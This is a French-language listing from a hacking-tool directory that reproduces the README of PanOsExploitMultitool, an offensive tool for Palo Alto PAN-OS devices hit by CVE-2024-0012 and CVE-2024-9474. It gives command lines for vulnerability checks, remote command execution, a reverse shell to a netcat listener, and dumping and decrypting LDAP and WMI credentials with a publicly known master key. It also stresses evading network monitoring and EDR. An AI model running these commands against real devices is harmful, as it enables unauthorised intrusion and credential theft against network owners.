Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/regent8sh/panosexploitmultitool
Outils de Chiffrement/DéchiffrementAnalyse des VulnérabilitésExploitationPost-ExploitationTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à Distance

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
regent8sh/panosexploitmultitool

PanOsExploitMultitool

Multi-outil d'exploitation et de post-exploitation pour les systèmes Palo Alto PAN-OS affectés par les vulnérabilités CVE-2024-0012 et CVE-2024-9474

Voir le dépôt
613il y a 3 moisPas encore vérifié

PanOsExploitMultitool

Outil multitâche d'exploitation et de post-exploitation pour les systèmes Palo Alto PAN-OS affectés par les vulnérabilités CVE-2024-0012 et CVE-2024-9474

Lors de l'exploitation précoce des vulnérabilités d'exécution de code à distance CVE-2024-0012 et CVE-2024-9474, j'ai obtenu un shell et commencé à identifier des fichiers de configuration contenant des chaînes étranges dans divers champs de mot de passe. Comme il ne s'agissait clairement pas de formats de hachage courants, mon équipe et moi avons commencé à étudier la question et avons rapidement découvert un avis de sécurité sur le site de ThreatLabs, qui mentionnait que les identifiants PAN-OS sont (étaient ?) chiffrés par défaut à l'aide d'une clé maîtresse publiquement connue. Bien que cette clé maîtresse puisse être modifiée dans la configuration de l'appareil, j'ai constaté que la clé maîtresse par défaut a été utilisée dans tous les cas où j'ai rencontré ces vulnérabilités. En concevant cet outil, mon objectif est de construire un moyen simple d'exploiter ces vulnérabilités, d'effectuer de la post-exploitation et de la récolte d'identifiants, et même de récupérer des identifiants en clair entièrement via du trafic HTTPS chiffré, sans avoir besoin de connexions persistantes qui pourraient être détectées par les solutions de surveillance réseau et de trafic.

Prend actuellement en charge la récupération et le déchiffrement automatiques des identifiants LDAP et WMI, bien que j'aie rencontré de rares cas où des chaînes secrètes sont chiffrées dans des fichiers de configuration avec des noms de champs XML non standard. Je travaille actuellement à identifier les causes de ces cas uniques afin de pouvoir assurer une prise en charge complète. Veuillez noter que cet outil est encore en développement.

Installation

Avant d'utiliser cet outil, assurez-vous que toutes les dépendances nécessaires sont installées, à l'aide d'une commande telle que :

root@kitploit:~
pip3 install -r requirements.txt

Check

La commande "check" vous permet de vérifier si une cible distante est vulnérable à CVE-2024-0012. Lorsque vous ciblez un hôte distant par son adresse IP, veillez à utiliser l'argument --no-verify. Exemple :

root@kitploit:~
python3 PanOsExploitMultitool.py check -t {TARGET} --no-verify

image

Command

La commande "command" vous permet d'exploiter CVE-2024-0012 et CVE-2024-9474 sur une cible distante pour exécuter une commande fournie manuellement et récupérer le résultat de cette commande via l'interface web. Comme pour les commandes dump et shell, la commande fournie est découpée en segments suffisamment petits pour tenir dans la vulnérabilité d'injection de commande de CVE-2024-9474, écrite dans un fichier shell temporaire dans un répertoire accessible en écriture (/var/tmp/ par défaut), puis exécutée sur la cible. La sortie est écrite dans un fichier PHP temporaire sous /var/appweb/htdocs{remote_dir}, récupérée via HTTPS, affichée sur la console, et nettoyée automatiquement sauf si l'argument --no-cleanup est fourni. Encore une fois, n'oubliez pas --no-verify si nécessaire.

root@kitploit:~
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}'
image

Commande silencieuse

Le drapeau optionnel --silentcommand exécute la commande fournie en utilisant la même méthode de découpage et d'injection que ci-dessus, mais sans rediriger la sortie vers un fichier accessible via le web ni effectuer de requête de récupération. Ceci est utile pour les actions de type "fire-and-forget" où la sortie n'est pas nécessaire, ou lorsque la minimisation du nombre de requêtes web et de fichiers créés sur la cible est une priorité. Comme aucun fichier de sortie n'est écrit dans le chemin web, le nettoyage ne supprime que les fichiers de charge utile temporaires du répertoire accessible en écriture — il n'y a pas de fichier .php de sortie à nettoyer.

root@kitploit:~
python3 PanOsExploitMultitool.py command -t {TARGET} --no-verify -c '{COMMAND}' --silentcommand

Shell

La commande "shell" vous permet d'exploiter CVE-2024-0012 et CVE-2024-9474 sur une cible distante pour recevoir un shell inversé sur l'hôte distant. En gros, cette commande crée une charge utile de shell inversé bash standard, l'encode en base64, découpe le blob encodé en base64 en segments suffisamment petits pour tenir dans la vulnérabilité d'injection de commande de CVE-2024-9474, puis exécute des commandes pour écrire chaque segment dans des fichiers d'un répertoire accessible en écriture (/var/tmp/ par défaut). Une fois ces segments complètement stockés, ils sont fusionnés en un seul fichier shell, puis exécutés sur l'hôte, ce qui devrait se connecter à un écouteur netcat séparé (nc -nvlp {PORT}). Veuillez noter qu'actuellement, le délai d'attente causé par la connexion persistante du shell inversé empêche le nettoyage des fichiers, vous devrez donc noter le nom de fichier aléatoire imprimé au début de l'exécution de l'outil et le nettoyer depuis les emplacements {writable_dir} et /var/appweb/htdocs{remote_dir}. Je corrigerai cela dans la prochaine version, mais je n'ai pas encore eu le temps de le faire. Encore une fois, n'oubliez pas --no-verify si nécessaire.

root@kitploit:~
nc -nvlp {PORT}

python3 PanOsExploitMultitool.py shell -t {TARGET} --lhost {LOCAL IP} --lport {LOCAL PORT} --no-verify

image image

Dump

C'était mon objectif principal pour ce projet, et la principale raison pour laquelle j'ai voulu développer cet outil. Comme la plupart des publications et des outils liés à ces vulnérabilités concernent l'exécution de code à distance, je n'ai pas trouvé beaucoup d'exemples de personnes détaillant des étapes de post-exploitation utiles au-delà de ce point. Avec la commande dump, vous pouvez non seulement récupérer et déchiffrer les identifiants à distance, mais le faire entièrement via un petit nombre de requêtes web chiffrées (HTTPS) sans avoir besoin de connexions persistantes. Étant donné que les appareils PAN-OS sont nettement moins susceptibles de disposer de solutions EDR/MDR/IDR/XDR/?DR, cela est particulièrement efficace lors d'opérations d'équipe rouge.

La commande dump suit une méthode de découpage et d'exécution similaire à la commande shell, mais au lieu de lancer un shell inversé, elle récupère les identifiants chiffrés à partir des fichiers de configuration de l'appareil (situés dans /opt/pancfg/mgmt/saved-configs/) puis déchiffre automatiquement les mots de passe identifiés à l'aide de la clé maîtresse publique connue. La commande dump nettoiera également tous les fichiers créés à la fin du déchiffrement, sauf si vous incluez l'argument --no-cleanup. Comme toujours, n'oubliez pas --no-verify si nécessaire.

root@kitploit:~
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify
image

De plus, j'ai ajouté un argument optionnel --full-running-config, qui peut être utilisé pour récupérer l'intégralité du contenu XML du fichier de configuration en cours d'exécution et l'enregistrer dans un fichier local. Le fichier enregistré est nommé selon le format running-config.{TARGET}.{TIMESTAMP}.xml (par exemple running-config.192.168.1.1.20260516_143022.xml), où l'horodatage reflète le moment de la récupération. Cela évite que les dumps de configuration précédents soient écrasés lors du ciblage du même appareil à plusieurs reprises. Bien que je recommande de vérifier au-delà de cela, car j'ai vu plusieurs cas où des fichiers de configuration antérieurs/autres contenaient des identifiants chiffrés uniques, cela peut être un bon moyen de rechercher d'éventuels identifiants supplémentaires qui n'auraient pas été automatiquement détectés et déchiffrés. De plus, vous pouvez effectuer un traitement local de tout fichier de configuration XML local à l'aide de la commande Local, détaillée ci-dessous.

root@kitploit:~
python3 PanOsExploitMultitool.py dump -t {TARGET} --no-verify --full-running-config
image

Local

La commande local est très basique, et son cas d'utilisation principal est lorsque vous avez récupéré un fichier de configuration XML complet (par exemple avec l'argument --full-running-config de la commande dump), ou que vous avez déjà obtenu un shell sur l'appareil PAN-OS et copié ou imprimé le contenu des fichiers de configuration XML de l'appareil (situés dans /opt/pancfg/mgmt/saved-configs/). Elle exécutera la même logique et le déchiffrement automatique des identifiants, mais à partir d'un fichier local fourni. Prend en charge tous les types d'identifiants chiffrés, y compris les identifiants LDAP et WMI, quel que soit le nom de balise XML.

root@kitploit:~
python3 PanOsExploitMultitool.py local -f {FILE}

image

Decrypt

Enfin, la commande decrypt vous permet de déchiffrer des chaînes brutes à l'aide de la clé maîtresse publique. Cela est utile dans des scénarios uniques, par exemple lorsque des chaînes d'identifiants chiffrées sont identifiées dans un fichier de configuration passé mais qu'aucun nom d'utilisateur n'est immédiatement présent, ou lorsque vous souhaitez vérifier manuellement une chaîne d'identifiant extraite par une autre méthode. Ces chaînes peuvent être saisies directement dans le terminal, et peuvent être acceptées dans le format complet -AQ..........== ou simplement le dernier blob encodé en base64 à la fin.

root@kitploit:~
python3 PanOsExploitMultitool.py decrypt

image

References

Veuillez consulter les publications, modules et avis ci-dessous qui ont été utilisés dans la recherche et le développement de ce projet.

"Pots and Pans, alias un SSLVPN - Palo Alto PAN-OS CVE-2024-0012 et CVE-2024-9474", WatchTowr Labs : https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

"panos_management_unauth_rce.rb", Stephen Fewer @ Rapid7 : https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/panos_management_unauth_rce.rb

"Avis - PAN-OS - AES256-CBC & SHA1", Threatlabs : https://threatlabs.eu/advisories/TL23-PA-SSTWMX/

Télécharger l’outil